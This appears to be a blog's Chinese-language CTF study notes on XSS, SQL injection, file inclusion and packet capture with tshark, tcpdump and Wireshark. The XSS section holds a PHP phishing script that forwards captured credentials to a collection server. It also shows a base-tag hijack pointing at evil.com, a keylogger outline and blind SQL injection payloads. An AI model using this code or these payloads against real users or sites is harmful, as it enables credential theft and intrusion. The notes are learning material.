分类目录归档:CTF

XSS 专题 1 – Part A

XSS基础

  1. 测试流程
    a. 找到网页上的输入点
    b. 输入一组 ”特殊字符(’ ” <>) + 唯一识别字符“, 提交后,查看返回的源码,是否有被过滤等处理
    // 此处之所以先检查特殊字符的过滤,而不是先尝试payload,是因为在一开始知道网站对特殊字符的处理情况,可以更好地选择测试语句
    c. 搜索定位到唯一识别字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)
    d. 尝试payload 和 各种绕过
  2. get & post
    a. get 方式的xss更容易利用,一般是将带有XSS的URL伪装后发给目标
    b. POST方式的xss以表单方式提交,无法利用url
  3. 本质:输入 <-> 输出
  4. 存储型XSS
  5. DOM型XSS(本身是一个反射型,纯前端操作)
    a. 概念补充:DOM(Document Object Model)
    文档对象模型 (DOM) 是HTML和XML文档的编程接口。它提供了对文档的结构化的表述,并定义了一种方式可以使从程序中对该结构进行访问,从而改变文档的结构,样式和内容。
    DOM 将文档解析为一个由节点和对象(包含属性和方法的对象)组成的结构集合。简言之,它会将web页面和脚本或程序语言连接起来。
    dom tree
    每个元素都可与看做一个对象,每个对象都叫做一个节点(node)
    b. 区别:与反射型、XSS直接构造script不同,DOM型XSS是构造html,注入的是html
    本质:前端的输入通过DOM获取到,又通过DOM输出了
    c. 应用场景:某些业务使用DOM获取浏览器输入(URL上)时,和反射型XSS相像
    应用场景

XSS漏洞测试

  1. cookie的窃取和利用
    i. GET方式
    get
    i. POST方式
    post

与GET型不同的是,我们无法直接通过URL发起攻击,需要伪造表单提交页面,红圈划起来的部分与GET相同

  1. 钓鱼攻击🎣
    i. src属性中写入钓鱼外链,跨过同源策略
    ii. 方式1: 发送认证框

    <?php
    error_reporting(0);
    // var_dump($_SERVER);
    if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
    //发送认证框,并给出迷惑性的info
        header('Content-type:text/html;charset=utf-8');
        header("WWW-Authenticate: Basic realm='认证'");
        header('HTTP/1.0 401 Unauthorized');
        echo 'Authorization Required.';
        exit;
    } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
    //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
        header("Location: http://pikachu.thereroad.com/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
        &password={$_SERVER[PHP_AUTH_PW]}");
    }
    ?>
    
  2. 获取键盘记录⌨️
    i. 关键代码,PHP中
    evet.keyCode获取键盘输入
    keycode
    rk.js 是恶意代码 -> 植入攻击站点中,获取用户键盘输入并发送到攻击者后台(rkserver.php)
    rk
    rkserver.php中,设置为允许被跨域访问,又因为攻击站点http://www.a.com本身也是攻击者自己搭建的,属于相同源,因此,http://www.a.com可以通过rk.js操控http://www.a.com/rkserver.php
    rkserver

  3. XSS 盲打
    i. 盲打不是一种XSS类型,而是一种攻击场景 ——> 我们的跨站脚本不在前台输出,在后台页面、管理员处输出。

XSS 构造技巧

  1. 利用字符编码
    a. 核心思路:
    标签被编码后,服务端不一定过滤。当浏览器对该编码识别时,会翻译成正常的标签,从而执行
    b. ⚠️注意:在使用编码时需要注意编码在输出点是否会被正常识别和翻译!
    即,服务端你或许成功绕过了过滤,成功输入了,但一定要注意输出点,浏览器端能不能翻译成功。
  2. 绕过长度限制
  3. 使用标签
    a. 标签不经常使用,功能是定义页面上的所有使用“相对路径”标签的hositng主机地址
    b. 例如:
    <base href="https://timgsa.baidu.com" />
    <img src="/timg?image&quality=80&size=b9999_10000&sec=1558615227&di=81734ea0ddbda14f8149ea303ee78710&imgtype=jpg&er=1&src=http%3A%2F%2Fb-ssl.duitang.com%2Fuploads%2Fitem%2F201505%2F20%2F20150520105805_wunTK.jpeg" />

    c. 标签将指定其后的所有标签,默认从其href取URL,并且base标签可以用在页面的所有位置
    // 续接Part B //
    d. 攻击者在页面插入标签之后,可以在远程服务器上伪造图片、链接或JS脚本,劫持正常页面中的所有使用“相对路径”的标签,比如:
    <base href="http://www.evil.com"/>
    ...
    <script src=x.js><script>
    <img src="/img/y.jpg"/>
    ...

    e. 例子
    example
  4. 大小写
  5. 闭合绕过
  6. htmlspecialchars绕过(PHP中)
    i. htmlspecialchars() 函数,把预定义的字符转换为HTML实体
    ii. 直接把前端的输入经常处理,不加任何类型参数,则为默认类型,如:
    $ok = htmlspecialchars($_GET[‘message’])
    默认类型仅编码双引号,不编码单引号,是攻击的一个点
    iii. 例子:
    example2
    首先,输入一些敏感字符来试探一下过滤情况,上图红圈中的&quot就是htmlspecialchars函数对双引号进行的转义,而对单引号没有进行转义。接下来我们构造:
    poc
    此处为href输出点,利用单引号闭合

XSS防范措施

  1. 总的原则:
    输入作过滤,输出作转义
    过滤:根据业务需求作过滤
    转义:所有输出到前端的数据都根据输入点进行转义。如,输出到html中,要进行html实体转义,输入到js中,要进行js转义
  2. 具体实例 – href输出
    a. <a>标签的href为输出点的话,可以进行XSS注入(例如注入 javascript:alert(123))
    b. 防范:因为在href属性中常常只写入超链接,我们可以只允许http/https开头的协议才允许从这个地方输出。其次,再进行htmlspecialchars处理
  3. 具体实例 – JS输出
    a. JS注入的关键就是去构造闭合
    b. JS不会对字符实体编码进行解释,因此我们的JS输入需要进行JS转义
    c. 如果直接进行HTML实体编码,虽然可以解决XSS问题,但实体编码后的内容不会在JS中翻译,导致前端输入的内容在后台失效
    d. —> 所以,在JS的输出点,应该对特殊字符进行转义,使用
  4. 总的来说,XSS的防范,就是要注意输入点和输出点。输入作过滤,输出作转义。

2019寒假班0x1

0. WEB应用基础架构
– URL

○ URL编码
%3d =
%25 %

+ 也等于 空格
– HTTP协议

○ 请求报文
§ HOST 请求的主机地址
User-Agent 产生请求的浏览器类型
○ 请求内容
§ contact-type 内容的格式
○ 响应报文
§ 状态行
□ 状态码
304 使用本地缓存
○ 响应头部
§ Apache不经配置,会暴露服务器版本号 <-信息搜集
– 会话技术
○ Cookie
保存在客户端浏览器
○ Session
保存在服务器端

cookie 和session 的区别:

§ cookie数据存放在客户的浏览器,用来记录用户的一些信息上;session是保存在服务端上的数据,用来跟踪用户的专业,这个数据可以保存在集群、数据库、文件中。

§ cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗
考虑到安全应当使用session。

§ session会在一定时间内保存在服务器上。当访问增多,会比较占用你服务器的性能
考虑到减轻服务器性能方面,应当使用COOKIE。

§ 单个cookie保存的数据不能超过4K,很多浏览器都限制一个站点最多保存20个cookie。

§ 建议:
将登陆信息等重要信息存放为SESSION
其他信息如果需要保留,可以放在COOKIE中
– FireFox插件
cookie manager
web deleloper
hackbar
noscript

– XSS
https://xz.aliyun.com/t/1672
○ 反射型
○ 存储型
○ DOM型
§ 对服务不可见
§ 基于文档对象模型Document Object Model(DOM)的一种漏洞
§ 通过URL传入参数去控制触发
– 如何寻找XSS?
○ 寻找web应用上的输入和输出口,如有原义输出,则必有XSS漏洞
– XSS 输出点
○ html
○ 事件中
○ 属性中
– BeEF

SQL
http://pupiles.com/sql.html
0. 判断数据库类型
– 端口
Oracle 1521
SQL Server 1433
MySQL 3306
pointbase 9092
DB2 5000
– 报错

1. 寻找注入点
– 找可控参数
get post

– 判断是否进行了SQL执行
○ 简单的逻辑运算
§ EX. ?id=1 ?id=2-1 ?id=3-2
2. 确定注入点
– 区分数据类型
– 时间延迟

以下对MySQL
3. 联合注入
union

4. 报错注入
– UPDATAXML()
– https://blog.csdn.net/whatday/article/details/63683187

5. 盲注
https://blog.csdn.net/sdb5858874/article/details/80656144
– 布尔盲注
利用回显的不同推测SQL语句执行的结果是True还是False
ex. payload: select * from users where user=’xx’ and pass>’123’#’

– 布尔盲注过程
可使用二分法
○ 判断数据库个数
(select count(schema_name) from information_schema.schemata)>n
n 为数据库个数,当数据库个数大于n时,页面显示正常
○ 判断数据库名有多少字符
(select length(schema_name) from information_schema.s chemata limit 0,1)> n
该语句判断数据库内第一个数据库名有多少字符,大于n则页面显示正常
字符位空白,使用substr()会返回false,编写脚本时可以 以此简化
○ 逐个判断字符
(select ascii(substr((select schema_name from informa tion_schema.schemata limit 0,1),1,1)))>105
ascii()将返回字符串的ascii值
第一个1,表示截取字符串的起始位置
第二个1,表示截取字符串长度
该语句作用:判断第一个库第一个字符是什么

– 时间盲注
页面不存在不同回显,但SQL语句被执行
其余同上

DNS-Log
http://ceye.io/
1. 在无回数据的情况下,我们可以通过DNS解析来传递数据,在MYSQL中,可以使用 LOAD_FILE() 来让服务器发送DNS解析

6. SQL注入防御
– 预编译 和 绑定变量
– 过滤和安全防御

7. SQLmap


文件包含
8. php文件包含函数

9. 伪协议
– 压缩包
zip协议,绝对路径,注意对锚点的URL编码
– zip://
– phar://
– data://
base()编码

10. 包含日志文件

11. 包含SESSION

12. 包含 /pros/self/environ
user-agent

13. 其它包含姿势
– 包含临时文件
– 包含SMTP(日志)
– 包含XSS
– 包含上传文件

14. 文件上传绕过
– 后缀绕过

15. 文件包含防御
– allow_url_include 和 allow_url_open 最小权限化

Tshark & TCPdump 学习笔记

Tshark & TCPdump
1. tshark -D 列出网卡(Windows中)
tshark -i ens33 捕获ens33网卡,在Linux中,ifconfig查看网卡代号 在windows中,tshark -D 查看网卡数字代号
tshark -w packets.pcap 捕获,并写入到当前目录的 packets.pcap 文件中,注意:需要对当前目录进行读写权限修改chmod -R
tshark -r 从文件中回读数据包
-c10 -c 限制在屏幕上显示的数据包数量,如-c10,只显示在捕获文件最开始的10个包
-V -v -V Tshark中显示冗余(包中的更多信息) -v Tcpdump中显示冗余(包中的更多信息)可以用多个v,增加显示层级,最多到3层,即
-vvv
-x -X -x Tshark中查看包的十六进制或Ascii形式 -X 为Tcpdump;Tcpdump 中也可以使用 -x(小写)只查看十六进制,-A 只查看Ascii
建议 在命令行用最少的信息显示最关心的内容,建议从默认的输出格式开始,当有特别的包需要深入分析时,再使用更详细的输出选项

  1. 名称解析
    ○ 定义:名称解析即是把(mac)地址和端口号转化为名称
    ○ -n 禁用Tshark的名称解析;Tcpdump中 -n 禁用IP名称解析
    -nn 禁用端口服务解析
    -N 禁用所有的名称解析功能,除非明确指明一些功能的启用
    Ex. sudo tshark -i 1 -Nt t:传输层(端口服务名称)解析,此命令,仅启用传输层解析

名称解析服务参考:
m MAC地址解析
n 网络地址解析
t 传输层(端口服务名称)解析
N 使用外网解析服务
C 使用当前DNS解析

  1. 应用(捕获+显示)过滤器
    Tshark
    -f 捕获过滤器 sudo tshark -ni ens33 -w packets.pcap -f “tcp port 80”
    -Y 显示过滤器 sudo tshark -ni 1 -w packets.pcap -Y “tcp.dstport == 80”

Tcpdump
‘ ‘ tcpdump 单引号构造,并附到命令最后,捕获、显示过滤器均如此 sudo tcpdump -r packets.pcap ‘tcp port 80’
-F 指定包含一系列过滤器的BPF文件 sudo tcpdump -nni ens33 -F dns_servers.bpf

技巧:
○ tcpdump可切将很大的捕获文件切小,然后再放到wireshark中分析
将一个包含大量各种类型的数据包,过滤需要的数据包出来另存为一个文件
Ex.
sudo tcpdump -r packets.pcap ‘tcp dst port 80’ -w http_packets.pcap

○ BPF文件中直接加注释是非法的,可以同时使用两份BPF文件,一份不包含任何注释,可载入到tcpdump中;另一份含有注释以供参考。

  1. 时间显示(仅Tshark)
    Tshark 默认显示相对(相对开始捕获时)时间戳
    -t -t 后加时间戳的值 Ex. -t ad 显示绝对时间

可用的时间显示格式
a 包被捕获的绝对时间(当前时区)
ad 包被捕获的绝对时间,带日期(当前时区)
d 自之前捕获的数据包以来的增量(时差)
dd 之前显示的数据包
e 亿元时间(1970年 1 月 1 日以来的秒数)
r 第一个数据包和当前数据包之间的运行时间
u 捕获数据包的绝对时间(UTC)
ud 带日期的捕获数据包的绝对时间(UTC)

  1. Tshark 中的总结统计
    ○ 使用 -z 参数,加上输出的名字即可生成统计信息
    ○ -z help 查看所有可用的统计
    ○ Ex.
    -z conv,ip 端点和会话
    -z http,tree 以表的形式分解HTTP请求和返回数据包
    -z follow,tcp,ascii,0 跟踪0号TCP流(会话统计最左列的序号表示一段流)
    -z follow,udp,ascii,192.168.1.5:23429 提供地址细节来知名要查看的数据流,如整个命令为 获取一个指明端点和端口的 UDP流

○ 常用的统计选项
ip_hosts,tree 在一段捕获中显示每个IP地址,并统计每个IP地址在所占流量的比例
io,phs 分层级统计在捕获文件中找到的所有协议
http,tree 显示关于HTTP请求和回应的统计
http_req,tree 显示每个HTTP请求和统计
smb,srt 显示关于Windows会话的SMB命令统计
endpoints,wlan 显示无线端点
expert 从捕获中显示专家信息(对话,错误等)

WireShark 学习笔记

  1. 主界面
    ○ 数据包列表
    ○ 数据包细节
    ○ 数据包字节
  2. 数据包高亮
    ○ View – Coloring Rules
  3. 偏好设置 Preference
    ○ Ctrl + Shift + P
  4. 配置方案
    ○ Edit – Configuration Profiles Ctrl + Shift + A

  5. 导出不同格式
    ○ Export Specified Packets 包含更多粒度控制

  6. 合并
    ○ File – Merge..

  7. 查找数据包
    ○ Ctrl + F
    选项
    § Display filter
    输入表达式进行筛选
    § Hex Value
    输入十六进制数进行搜索
    § String
    输入字符串进行搜索,可设置其它格式

Ctrl + N 查找下一个匹配的
Ctrl + B 查找上一个匹配的
8. 标记数据包
○ Ctrl + M 或 右键数据包
○ Shift + Ctrl + N
○ Shift + Ctrl +B

  1. 时间显示格式
    View – Time Display Format
    ○ 格式选项
    ○ 精度选项
    多个设备中比较包数据,要确认设备间时间时同步的,特别是做取证分析和检查问题时,可使用 网络时间协议(NTP)来确保网络设备的时间时同步的。

当包数据来自不同的时区的设备时间,可采用统一的UTC时间来避免干扰

  1. 捕获选项
    Capture – Options Ctrl + K
    ○ Input
    § Capture Filter 设置捕获过滤器

○ Output
§ 文件集合 – 捕获输出为多个文件的集合
Create a new file automatically after

○ Option
§ 设置触发条件停止捕获 Stop capture automatically after

  1. BPF(Berkeley Packet Filter)语法
    ○ expression(表达式)组成
    § primitives (原语)
    § qualifiers(限定词)
    § 操作符 && || !

  2. Capture Filters 捕获过滤器
    a. 主机名和地址过滤器
    § host + ip 或 主机名 捕获所有和那台主机相关的流量
    ether host + MAC地址 ether = Ethernet以太网 对MAC地址进行过滤
    src host + ip 来自某ip的流量
    dst host + ip dst = dispatch 发往某ip的流量

b. 端口过滤器
§ port
§ !port
§ dst port

c. 协议过滤器
icmp 只看 ICMP 流量
!ip6 不看 IPv6 流量

i. 协议域过滤器
BPF语法可以 通过检查协议头中的每一个字节来创建基于那些数据的特殊过滤器
Ex. 想要创建基于 ICMP 过滤器的类型域 来进行过滤,而类型域位于数据包的最开头,也就是偏移量为 0 的位置,可以通过在协议协定符后输入由方括号引起的字节偏移量 icmp[0],
进一步地,如只想得到代表目标不可达(类型3)信息的ICMP数据包,则令其等于3 icmp[0]==3,
可以在方括号中的偏移量后面 以冒号分隔加上一个字节长度 来指定希望返回给过滤器表达式的数据长度 icmp[0:2]==0x0301
可以在当前原语中加入 一个单一的 & 符号,来 指定希望在 这个字节中检查的比特位置
tcp[13]&4==4 带有 RST 标志的 TCP 数据包
tcp[13]&8==8 被设置 PSH 标志的 TCP 数据包

  1. Display Filters 显示过滤器
    ○ 方法一:
    使用 Fiter Expression 对话框,在 Capture 对话框右侧

○ 方法二:
使用过滤表达式语法,

  1. 保存过滤器规则
    Capture – Capture Filters 加号

  2. 在工具栏增加 显示过滤器
    在 Filters工具栏右侧 ➕


高级特性

  1. 端点 endpoint
    ○ 查看端点(Endpoint)统计
    Statistics – Endpoints

○ 查看网络会话(Conversation)
Statistics – Conversation
□ 可右键一个会话,创建过滤器
□ Address A :源端点 Address B :目的端点
□ 窗口顶部选项条切换 查看其它协议类型的会话0

  1. 协议分层结构 Protocol Hierarchy
    Statistic – Protocol Hierarchy
    查看 TCP IP DHCP等所占的百分比

  2. 名称解析 Name Resolution
    View – Name Resolution –
    Preference – Name Resolution
    潜在危险:对 DNS名称解析的依赖会产生额外的数据包,如捕获文件中含有恶意IP地址,试图解析它们会生成对攻击者控制的基础架构的查询,这样攻击者就可能知道你的动作,甚至把自己变成靶子。 可 Ctrl + Shift + P 关闭 Use an external network name resolver
    Ex.利用 LLMNR 名称解析缺陷劫持内网指定主机会话

  3. 使用自定义host文件

协议解析
20. 更换解析器
右键数据包 – Decode as..
可查看解析器源代码 Wireshark Develop

流跟踪
packet transcript:把来自不同包的数据重组成统一易读的形式
TCP: Ex. http FTP ctrl + alt + shift + T
UDP: Ex. DNS ctrl + alt + shift + U
SSL: Ex. https 需要密钥解密流量 ctrl + alt + shift + S
HTTP: 使用TCP流跟踪但没有完全解码 HTTP 数据时 ctrl + alt + shift + H

  1. 跟踪TCP、UDP流
    ○ 快捷键,如上
    ○ 右键数据包 – Follw –
  2. 跟踪 SSL 流

SSL = Secure Socket Layer Protocol 安全接口层协议,需要密钥解密流量

Preference – Protocol – SSL – Browse – ➕
以下同上
23. 数据包长度
○ Statistic – Packet Lengths
○ 可用于鸟瞰数据包,大致判断是否有明显的数据传输(存在很多较大的数据包) 或 协议控制(绝大多数数据包都很小)

图形展示
24. I/O图
○ Statistic – I/O Graph
○ 分析时,并排查看多个数据包的 I/O图,有助于发现他们之间的关系

  1. 双向时间图
    ○ 双向时间(round-trip time RRT):接受并确认数据包的时间,即包括你数据包抵达目的地 以及 确认接受到的数据包 所需的时间之和
    ○ 常用来寻找通讯中的慢点或者瓶颈,以确认是否存在延迟
    ○ Statistic – TCP Stream Graphs – Round Trip Time,如未显示,点击Switch Direction
    ○ 高延迟点在图中用多个高 Y 值的点表示,一个点就是一个数据包

  2. 数据流图
    ○ Statistic – Flow Graph
    ○ 可视化了解两个设备间的通讯
    ○ 有助于了解不熟悉的协议之间如何正常交互

  3. 专家信息
    ○ 存在于每个协议的解析器中,用于提醒你该协议的数据包中的特定状态
    ○ 4 类状态:
    § Chat 关于通信的基本信息
    § Note 正常通信中的异常数据包
    § Warning 非正常通信中的异常数据包
    § Error 数据包中的错误,或者解析器解析时的错误
    ○ Analysis – Expert information